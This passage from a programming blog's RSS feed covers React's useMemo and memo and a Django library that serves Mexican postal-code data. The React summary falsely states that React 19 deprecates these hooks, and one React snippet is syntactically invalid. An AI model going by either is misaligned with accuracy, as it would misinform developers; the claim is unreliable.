&lt;strong&gt;is a React hook&lt;/strong&gt; used to memoize the value returned by a function. The useMemo function accepts two arguments and &lt;strong&gt;returns a value&lt;/strong&gt;. The first argument is the function and the second, like useCallback, is an array of variables to watch, so that a new value will not be generated as long as those variables do not change.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useMemo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Ideal para funciones costosas de ejecutar, como factoriales o cálculos complejos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; OtherComponent({value}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; memoizedValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useMemo(()=&amp;gt;getExpensiveValue(value), [value])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;...&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Again, as long as &lt;em&gt;value&lt;/em&gt; is kept constant, &lt;em&gt;getExpensiveValue&lt;/em&gt; will not be executed with each rendering of the component, but the memoized value will be returned. As with useEffect we can also leave the array empty, instead of value.&lt;/p&gt;&#xA;&lt;h2 id=&#34;memo-memoizes-components&#34;&gt;memo memoizes components&lt;/h2&gt;&#xA;&lt;p&gt;Memo &lt;strong&gt;is not a hook&lt;/strong&gt;, it is a High Order Component (HOC), i.e. a function that takes a component as a parameter and **returns a new component.&lt;/p&gt;&#xA;&lt;p&gt;Memo checks if the props of the component it receives have changed, if they have not, it will return the memoized component, without rendering it again.&lt;/p&gt;&#xA;&lt;p&gt;Again, unlike useCallback and useMemo, memo &lt;strong&gt;is not a hook&lt;/strong&gt;, but a memoization function that runs on a component.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { memo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({id, title}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{id}{title}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; memo(MyComponent)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For example, imagine we have the above component. As long as &lt;em&gt;id&lt;/em&gt; and &lt;em&gt;title&lt;/em&gt; do not change, the component named &lt;em&gt;Component&lt;/em&gt;, will not be rendered once again, but its memoized value will be returned.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; MyComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./MyComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ParentComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {id, title} &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; getIdAndTitle()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OtrosComponentes&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;MyComponent id&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{id} title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{title}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/&amp;gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;memo-use-cases&#34;&gt;memo use cases&lt;/h3&gt;&#xA;&lt;p&gt;Memo is ideal for components that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Suffer multiple renderings with the use of the application and generally receive the same props.&lt;/li&gt;&#xA;&lt;li&gt;Receive props that change infrequently or not at all.&lt;/li&gt;&#xA;&lt;li&gt;Very bulky components that have a very large impact on performance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Remember to check my post where I combine this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/&#34;&gt;memo and useCallback to avoid renderings in React&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;See the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.reactjs.org/docs/hooks-reference.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official React hooks documentation&lt;/a&gt;&#xA; if you want to learn more about it.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The useCallback, useMemo and memo functions are used to optimize React applications using memoization, avoiding useless renderings, each with their differences, similarities and use cases. These three functions should not be used indiscriminately, but only in those situations where their impact is less than the benefits they offer.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application&#xA;&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>Mexico Postal codes API with Django</title>
      <link>https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/</link>
      <pubDate>Thu, 22 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Do you need to get the data associated with a postal code in Mexico for your Django application? I wrote a small library called &lt;strong&gt;django-postalcodes-mexico&lt;/strong&gt; that downloads postal codes from SEPOMEX (México&amp;rsquo;s Postal Codes official site) and creates an API endpoint that allows you to query a postal code in Mexico and receive the colonias that belong to that postal code, as well as their state and municipality.&lt;/p&gt;&#xA;&lt;p&gt;If you are going to develop a REST API, I have a post with multiple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST API design recommendations&lt;/a&gt;&#xA; that may help you.&lt;/p&gt;&#xA;&lt;p&gt;For this example I use Python 3.8, Django 3.2.5 and Pipenv version 2020.5.28.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;&#xA;&lt;p&gt;To install it we are going to use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;Pipenv&lt;/a&gt;&#xA;, but you can use Poetry, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/&#34;&gt;pip&lt;/a&gt;&#xA; or any other virtual environment manager.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-postalcodes-mexico django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject codigosPostalesMx .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we install the package by adding it to INSTALLED_APPS in our configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;INSTALLED_APPS&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django_postalcodes_mexico.apps.DjangoPostalcodesMexicoConfig&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We execute the migrations. This will create the tables needed to manage the postal codes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;obtaining-mexicos-postal-codes-from-sepomex&#34;&gt;Obtaining Mexico&amp;rsquo;s postal codes from SEPOMEX&lt;/h2&gt;&#xA;&lt;p&gt;Now that the tables have been created we are going to install the Mexico postal codes directly from the SEPOMEX page with a single Django command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py importpostalcodesmx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Trying to connect to Mexican Postal Service &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;Correos de Mexico&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Response received&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This process can take a few minutes, please be patient&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating database...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The postal code database has been successfully populated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s all, now we just need to import include and add our urls. I put the path &lt;em&gt;api/&lt;/em&gt; but you can use the one you want.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.contrib import admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.urls import path, include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django_postalcodes_mexico import urls as django_postalcodes_mexico_urls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;urlpatterns&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/&amp;#39;&lt;/span&gt;, include&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;django_postalcodes_mexico_urls&lt;span style=&#34;color:#ff6ac1&#34;&gt;))&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;obtaining-information-from-a-postal-code&#34;&gt;Obtaining information from a postal code&lt;/h2&gt;&#xA;&lt;p&gt;If we now make a request &lt;em&gt;api/09000/&lt;/em&gt; or any other 5-digit postal code we will receive a JSON response with the municipality, state and a list of neighborhoods.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/api/09000/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;codigoPostal&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;09000&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;municipio&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Iztapalapa&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;estado&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ciudad de M\u00e9xico&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;colonias&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;La Asunci\u00f3n&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Ignacio&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Jos\u00e9&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Lucas&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Pablo&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Pedro&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Santa B\u00e1rbara&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Api-codigos-postales-mx.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Api-codigos-postales-mx.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django API query result for postal code &amp;#34;09000&amp;#34;&#34; width=&#34;563&#34; height=&#34;374&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django API query result for postal code 09000&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A non-existent postal code will return a 404 status.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Captura-de-pantalla-de-2021-11-17-12-15-24.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Captura-de-pantalla-de-2021-11-17-12-15-24.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Nonexistent postal code returning an error message&#34; width=&#34;803&#34; height=&#34;168&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Nonexistent postal code returning an error message&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;While an invalid postal code will return a 400 error and an error message&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; 